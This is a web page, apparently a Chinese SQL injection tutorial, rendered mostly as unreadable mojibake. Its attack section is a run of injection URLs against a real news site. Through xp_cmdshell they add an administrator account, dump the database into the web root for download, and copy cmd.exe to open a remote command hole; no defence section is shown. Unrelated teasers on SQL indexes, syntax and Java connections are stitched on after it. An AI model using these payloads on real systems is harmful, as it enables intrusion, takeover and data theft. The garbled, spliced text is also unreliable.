SQL ×¢Èë¹¥»÷ÔÀí¼°·À»¤
SQL ×¢Èë¹¥»÷ÔÀí¼°·À»¤
ÔÚÈ·ÈÏ¿ÉÒÔ×¢ÈëµÄÇé¿öÏ£¬Ê¹ÓÃÏÂÃæµÄÓï¾ä£º
HTTP://www.163.com/news.asp?id=xx ;and (select count(*) from sysobjects)£¾0
HTTP://www.163.com/news.asp?id=xx ;and (select count(*) from msysobjects)£¾0
Èç¹ûÊý¾Ý¿âÊÇSQLServer£¬ÄÇôµÚÒ»¸öÍøÖ·µÄÒ³ÃæÓëÔÒ³ÃæHTTP://www.163.com/news.asp?id=xxÊÇ´óÖÂÏàͬµÄ£»¶øµÚ¶þ¸öÍøÖ·£¬ÓÉÓÚÕÒ²»µ½±ímsysobjects£¬»áÌáʾ³ö´í£¬¾ÍËã³ÌÐòÓÐÈÝ´í´¦Àí£¬Ò³ÃæÒ²ÓëÔÒ³ÃæÍêÈ«²»Í¬¡£
Èç¹ûÊý¾Ý¿âÓõÄÊÇAccess£¬ÄÇôÇé¿ö¾ÍÓÐËù²»Í¬£¬µÚÒ»¸öÍøÖ·µÄÒ³ÃæÓëÔÒ³ÃæÍêÈ«²»Í¬£»µÚ¶þ¸öÍøÖ·£¬ÔòÊÓºõÊý¾Ý¿âÉèÖÃÊÇ·ñÔÊÐí¶Á¸Ãϵͳ±í£¬Ò»°ãÀ´ËµÊDz»ÔÊÐíµÄ£¬ËùÒÔÓëÔÍøÖ·Ò²ÊÇÍêÈ«²»Í¬¡£´ó¶àÊýÇé¿öÏ£¬ÓõÚÒ»¸öÍøÖ·¾Í¿ÉÒÔµÃ֪ϵͳËùÓõÄÊý¾Ý¿âÀàÐÍ£¬µÚ¶þ¸öÍøÖ·Ö»×÷Ϊ¿ªÆôIIS´íÎóÌáʾʱµÄÑéÖ¤¡£
Èý¡¢È·¶¨XP_CMDSHELL¿ÉÖ´ÐÐÇé¿ö
Èôµ±Ç°Á¬½ÓÊý¾ÝµÄÕʺžßÓÐSAȨÏÞ£¬ÇÒmaster.dbo.xp_cmdshellÀ©Õ¹´æ´¢¹ý³Ì(µ÷Óô˴洢¹ý³Ì¿ÉÒÔÖ±½ÓʹÓòÙ×÷ϵͳµÄshell)Äܹ»ÕýÈ·Ö´ÐУ¬ÔòÕû¸ö¼ÆËã»ú¿ÉÒÔͨ¹ýÒÔϼ¸ÖÖ·½·¨ÍêÈ«¿ØÖÆ£¬ÒÔºóµÄËùÓв½Ö趼¿ÉÒÔÊ¡
1¡¢HTTP://www.163.com/news.asp?id=xx and user£¾;0 news.aspÖ´ÐÐÒì³£µ«¿ÉÒԵõ½µ±Ç°Á¬½ÓÊý¾Ý¿âµÄÓû§Ãû(ÈôÏÔʾdboÔò´ú±íSA)¡£
2¡¢HTTP://www.163.com/news.asp?id=xx and db_name()£¾0 news.aspÖ´ÐÐÒì³£µ«¿ÉÒԵõ½µ±Ç°Á¬½ÓµÄÊý¾Ý¿âÃû¡£
3¡¢HTTP://www.163.com/news.asp?id=xx£»exec master..xp_cmdshell “net user aaa bbb /add”-- (masterÊÇSQL-SERVERµÄÖ÷Êý¾Ý¿â£»ÃûÖеķֺűíʾSQL-SERVERÖ´ÐÐÍê·ÖºÅÇ°µÄÓï¾äÃû£¬¼ÌÐøÖ´ÐÐÆäºóÃæµÄÓï¾ä£»“—”ºÅÊÇ×¢½â£¬±íʾÆäºóÃæµÄËùÓÐÄÚÈݽöΪעÊÍ£¬ÏµÍ³²¢²»Ö´ÐÐ)¿ÉÒÔÖ±½ÓÔö¼Ó²Ù×÷ϵͳÕÊ»§aaa,ÃÜÂëΪbbb¡£
4¡¢HTTP://www.163.com/news.asp?id=xx£»exec master..xp_cmdshell “net localgroup administrators aaa /add”-- °Ñ¸Õ¸ÕÔö¼ÓµÄÕÊ»§aaa¼Óµ½administrators×éÖС£
5¡¢HTTP://www.163.com/news.asp?id=xx£»backuup database Êý¾Ý¿âÃû to disk='c:\inetpub\wwwroot\save.db' Ôò°ÑµÃµ½µÄÊý¾ÝÄÚÈÝÈ«²¿±¸·Ýµ½WEBĿ¼Ï£¬ÔÙÓÃHTTP°Ñ´ËÎļþÏÂÔØ(µ±È»Ê×Ñ¡ÒªÖªµÀWEBÐéÄâĿ¼)¡£
6¡¢Í¨¹ý¸´ÖÆCMD´´½¨UNICODE©¶´
HTTP://www.163.com/news.asp?id=xx;exec master.dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe
c:\inetpub\scripts\cmd.exe” ±ãÖÆÔìÁËÒ»¸öUNICODE©¶´£¬Í¨¹ý´Ë
Ïà¹ØÎĵµ£º
Ë÷Òý (Index) ¿ÉÒÔ°ïÖúÎÒÃÇ´Ó±í¸ñÖпìËÙµØÕÒµ½ÐèÒªµÄ×ÊÁÏ¡£¾ÙÀýÀ´Ëµ£¬¼ÙÉèÎÒÃÇÒªÔÚÒ»±¾Ô°ÒÕÊéÖÐÕÒÈçºÎÖÖÖ²ÇཷµÄѶϢ¡£ÈôÕâ±¾ÊéûÓÐË÷ÒýµÄ»°£¬ÄÇÎÒÃÇÊDZØÐëÒª´ÓÍ·¿ªÊ¼¶Á£¬Ö±µ½ÎÒÃÇÕÒµ½ÓйØÖÖÖ±ÇཷµÄµØ·½ÎªÖ¹¡£ÈôÕâ±¾ÊéÓÐË÷ÒýµÄ»°£¬ÎÒÃǾͿÉÒÔÏÈÈ¥Ë÷ÒýÕÒ³öÖÖÖ²ÇཷµÄ×ÊѶÊÇÔÚÄÄÒ»Ò³£¬È»ºóÖ±½Óµ½ÄÇһҳȥÔĶÁ¡£ºÜÃ÷ÏԵأ¬ÔËÓ ......
Ö÷¼ü (Primary Key) ÖеÄÿһ±Ê×ÊÁ϶¼ÊDZí¸ñÖеÄΨһֵ¡£»»ÑÔÖ®£¬ËüÊÇÓÃÀ´¶ÀÒ»ÎÞ¶þµØÈ·ÈÏÒ»¸ö±í¸ñÖеÄÿһÐÐ×ÊÁÏ¡£Ö÷¼ü¿ÉÒÔÊÇÔ±¾×ÊÁÏÄÚµÄÒ»¸öÀ¸Î»£¬»òÊÇÒ»¸öÈËÔìÀ¸Î» (ÓëÔ±¾×ÊÁÏûÓйØϵµÄÀ¸Î»)¡£Ö÷¼ü¿ÉÒÔ°üº¬Ò»»ò¶à¸öÀ¸Î»¡£µ±Ö÷¼ü°üº¬¶à¸öÀ¸Î»Ê±£¬³ÆΪ×éºÏ¼ü (Composite Key)¡£
Ö÷¼ü¿ÉÒÔÔÚ½¨ÖÃбí¸ñʱÉ趨 (ÔËÓà CREA ......
ÔÚÕâÒ»Ò³ÖУ¬ÎÒÃÇÁгöËùÓÐÔÚÕâ¸öÍøÕ¾ÓÐÁгö SQL Ö¸ÁîµÄÓï·¨¡£ÈôÒª¸üÏ꾡µÄ˵Ã÷£¬ÇëµãÑ¡Ö¸ÁîÃû³Æ¡£
ÕâÒ»Ò³µÄÄ¿µÄÊÇÌṩһ¸ö¼ò½àµÄ SQL Óï·¨×öΪ¶ÁÕ߲ο¼Ö®Óá£ÎÒÃǽ¨ÒéÄúÏÖÔھͰ´ Control-D ½«±¾Ò³¼ÓÈëÄúµÄ¡ºÎÒµÄ×î°®¡»¡£
Select
SELECT "À¸Î»" from "±í¸ñÃû"
Distinct
SELECT DISTINCT "À¸Î»"
from "±í¸ñÃû"
......
Êý¾Ý¿â²Ù×÷ÏÖÔÚÊÇÏîÄ¿¿ª·¢µÄ¸ù±¾£¬Ñ§Ï°JavaÊ×ÏÈÓ¦¸Ãѧ»áÔõôÑùÁ¬½ÓÊý¾Ý¿â£¬ÓÃJavaÁ¬½ÓÊý¾Ý¿â¿É²»ÏñÓÃDelphiÕâÀ๤¾ßÄÇÑùÉ輸¸öÊôÐÔ¾ÍOK£¬Ëµ¼òµ¥Ò²¼òµ¥£¬Ëµ¸´ÔÓ£¬ÆäʵҲͦ¸´Ôӵģ¬¶øÇÒºÜÂé·³£¬Èç¹ûÊdzõѧ£¬¸ù±¾²»Äܱ£Ö¤µÚÒ»´Î¾ÍÁ¬½Ó³É¹¦£¬ÏÂÃæÒÔSQL Server 2000ΪÀý£¬ËµËµJavaÁ¬½ÓÊý¾Ý¿âµÄ»ù±¾·½·¨£¬Ò²¼Ç¼һÏÂÐĵá£
1¡¢Ï ......
ͨ¹ýSqlÓï¾ä»ñµÃ ÁеÄÀàÐͺÍ˵Ã÷:
µÃµ½µÄ±íÍ·£º±íÃû|ÁÐÃû|ÀàÐÍ|˵Ã÷
1£ºÕë¶Ôsql server 2000£¬ÔÚsql2000ÖУ¬Ê¹Óãºsysobjects,syscolumnsºÍsysproperties±í
SELECT o.name as table_name,c.name AS col_name,type_name(c.xtype) AS type_name,isnull(p.value,'') AS col_Pro ......